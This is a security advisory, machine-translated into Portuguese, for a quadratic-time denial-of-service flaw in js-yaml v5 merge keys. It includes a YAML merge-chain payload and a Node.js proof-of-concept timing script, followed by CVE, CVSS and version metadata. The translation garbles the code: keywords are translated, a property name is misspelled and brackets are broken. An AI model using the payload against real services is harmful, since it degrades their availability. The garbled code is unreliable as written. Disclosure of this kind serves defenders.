Este é o mesmo relatório que para v 3 /v 4, mas com menor gravidade, porque em v 5, a fusão está desativada por padrão Quando as teclas de fusão (`<<`) estão ativadas, o js- yaml pode passar o tempo quadrático da CPU analisando um documento cujo tamanho cresce apenas linearmente. O problema é acionado por uma cadeia de mapeamentos onde cada mapeamento combina o anterior: ``` yaml a 0: & a 0 { k 0: 0 } um 1: & a 1 { <<: *a 0, k 1: 1 } um 2: & a 2 { <<: *a 1, k 2: 2 } um 3: & a 3 { <<: *a 2, k 3: 3 }... b: *aN `` Para cada novo mapeamento, o carregador tem que enumerar as chaves herdadas do mapeamento anterior. Com N mapeamentos em cadeia, isso resulta em aproximadamente 1 + 2 +... + N fusão de visitas chave, ou seja, O(N^ 2 ) trabalhar para o tamanho de entrada de O( N). De N = 4000 atraso tornar-se > 1 s (tamanho do doc < 100 K).
````js import { performance } de 'node:perf_hooks' import { Buffer } de 'node:buffer' import { load, YAML 11 _SCHEMA } do 'js- yaml' const n = Número(process.argv[ 2 ] || 4000 ). função makeMergeChain (counte) { linhas de const = ['a 0: & a 0 { k 0: 0 }'] para (deixar i = 1; i < conte; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1 }, k${i}: ${i}}} lines.push(`b: *a${count - 1 }`) retorna `${lines.join('\n')}\n` }. const source = makeMergeChain(n) console.log(source.split('\n').slice( 0, 8 ).join( '\n') console.log ( '...') console.log (source.split( '\n').slice(- 4 ).join('\n') console.log() console.log(`N: ${n}`) console.log(`YAML tamanho: ${Buffer.byteLongth(source)} bytes`).
const iniciado = performance.now() const result = load(source, { esquema: YAML 11 _SCHEMA }) const transcorrido = performance.now() - iniciado console.log(` tempo de análise: ${ lapsed.toFixed( 1 )} ms`) console.log(` chaves de nível superior: ${Object.keys(result.length}`) console.log(` chaves b: ${Object.keys(result.b.length}`) ``````` Fixar liberado. A proteção mais robusta é limitar o número total de chaves fundidas por chamada de análise. Isto deve fechar todos os casos de borda passados e futuros com a fusão. O padrão 10 O limite de tecla K deve estar bem na maioria dos casos. Registro de aconselhamento: GHSA- g 796 - fgmg- 93 mv. Identificadores relacionados: CVE- 2026 - 59868.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 21: 19: 27.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 21: 19: 27.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. Software afetado e informação de versão: pacote npm js- yaml — ECOSISTEM: introduzido 5.0.0, corrigido 5.2.0. Classificação e evidência: identificadores de fraqueza CWE- 400, CWE- 407, CWE- 770. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.